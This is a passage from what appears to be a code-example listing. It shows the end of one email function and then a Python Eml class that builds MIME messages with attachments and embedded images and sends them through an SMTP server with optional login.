                msg_root.attach(part)
            except:
                register_exception(alert_admin=True,
                                   prefix="Can't attach %s" % attachment)

    return msg_root
Beispiel #60
0
class Eml(object):
    """
    Eml class uses email and smtplib packages to format email messages to users using smtp server.

    Required Fields:
        sender:     an email address as a string.
        subject:    email subject as a string.
        message:    email body as a string, usually multi-line. HTML allowed.

    Semi-Optional Fields*:
        to:         a list of email addresses as strings to be added to the message's 'To' field.
        cc:         a list of email addresses as strings to be added to the message's 'CC' field.
        bcc:        a list of email addresses as strings to be added to the message's 'BCC' field.
        recipients: a list of email addresses as strings that the message will be delivered to. if no recipients are
                        provided it will be sent to all of to, cc, and bcc targets.**
        *   please note: one of 'to', 'cc', 'bcc', or 'recipients' fields must have at least one entry.
        **  only use the recipient field when it is desired to have a message delivered to a different group than is
                displayed!

    Optional Fields:
        directory:  an iterable object containing a list of file locations to attach as strings.
        smtp_server:smtp server address as a string.
        smtp_port:  smtp port as an integer.
        password:   smtp authentication password as string.
        path:       a path, as a string, to the database where log files are held if they are not in the cwd.
                        if log files are in cwd no path is required.
        embed:      if html image embedding is required include image PATH here.
        embedh:     header text as html for image.
    """
    def __init__(
        self,
        sender,
        subject,
        message,
        to=None,
        cc=None,
        bcc=None,
        recipients=None,
        files=None,
        smtp_server=None,
        smtp_port=None,
        path=None,
        embed=None,
        embedh=None,
        password=None,
        parse_sender=True,
    ):
        self.sender = sender
        if not embedh and embed:
            self.embedh = '<b>An <i>HTML</i> header</b> and image.'
        else:
            self.embedh = embedh
        self.embed = embed
        self.subject = subject
        self.message = message
        self.files = files
        self.SMTP_SERVER = smtp_server
        self.SMTP_PORT = smtp_port
        self.password = password
        self.to = []
        if to:
            self.to = to
        self.cc = []
        if cc:
            self.cc = cc
        self.bcc = []
        if bcc:
            self.bcc = bcc
        self.recipients = recipients
        if not self.recipients:
            self.recipients = self.to + self.cc + self.bcc
        if path:
            self.path = path
        else:
            self.path = os.getcwd()
        self.embed = embed

        self.msg = None

        self.parse_sender = parse_sender
        # print sender,recipient,subject,message,directory,smtp_server,smtp_port,cc,password

    # creates a msg object

    def construct(self):
        """ Constructs email message from parts using email.mime.MIMEMultipart."""
        from email.mime.multipart import MIMEMultipart
        self.msg = MIMEMultipart()

        self.msg['To'] = ', '.join(self.to)
        self.msg['CC'] = ', '.join(self.cc)
        self.msg['BCC'] = ', '.join(self.bcc)

        if self.parse_sender:
            self.msg['From'] = self.parse_from(sender=self.sender)
        else:
            self.msg['From'] = self.sender

        self.msg['Subject'] = self.subject

    @staticmethod
    def parse_from(sender):
        name = sender.split('@')[0]
        name = ''.join([n for n in name if not n.isdigit()])
        # first = name.split('.')[0]
        # last = name.split('.')[-1]
        return ' '.join(name.split('.'))

    def attach(self):
        """ Attaches file(s) from cwd. Can embed html image with header. Runs on default email package. """
        # ## EMBED HTML IMAGE
        if self.embed:
            body_text = '%s<br><img src="cid:%s"><br>%s' % (
                self.embedh, self.embed, self.message)
            self.part = MIMEText(body_text, 'html')
            self.msg.attach(self.part)
            fp = open(self.embed, 'rb')
            img = MIMEImage(fp.read())
            fp.close()
            img.add_header('Content-ID', self.embed)
            self.msg.attach(img)
        # ## OR DON'T ...
        else:
            self.part = MIMEText(self.message, "html")
            self.msg.attach(self.part)

        if self.files:
            for f in self.files:
                if f.strip().endswith('*'):
                    f = ambiguous_extension(f)
                    # print d_
                self.part = MIMEBase('application', "octet-stream")
                self.part.set_payload(open(f, "rb").read())
                Encoders.encode_base64(self.part)
                self.part.add_header(
                    'Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(f))
                self.msg.attach(self.part)

    def send(self):
        """
        Uses smtplib package to connect to provided smtp address and port, then send the message.
        Supports smtp password authentication.
        Logs sender, recipient, and attachment.
        """
        session = smtplib.SMTP(self.SMTP_SERVER, self.SMTP_PORT)
        # the smtplib error is not very descriptive: "SMTPServerDisconnected: please run connect() first"
        if not self.SMTP_SERVER:
            raise smtplib.SMTPConnectError(code='',
                                           msg="No SMTP Server provided.")
        # allows for password on smtp
        if self.password:
            session.ehlo()
            session.starttls()
            session.ehlo()
            session.login(self.sender, self.password)
        session.sendmail(from_addr=self.sender,
                         to_addrs=self.recipients,
                         msg=self.msg.as_string())
        logstr = """Email Sent: to -%s, from -%s, attached -%s.""" % (
            self.recipients, self.sender, self.files)
        logstr = logstr.replace('\\', '').replace("'", '')
        rLog.info(logstr)
        session.quit()

    def auto(self):
        """
        Constructs, attaches, and sends an email message from initialization parameters.
        :return:
        """
        self.construct()
        self.attach()
        self.send()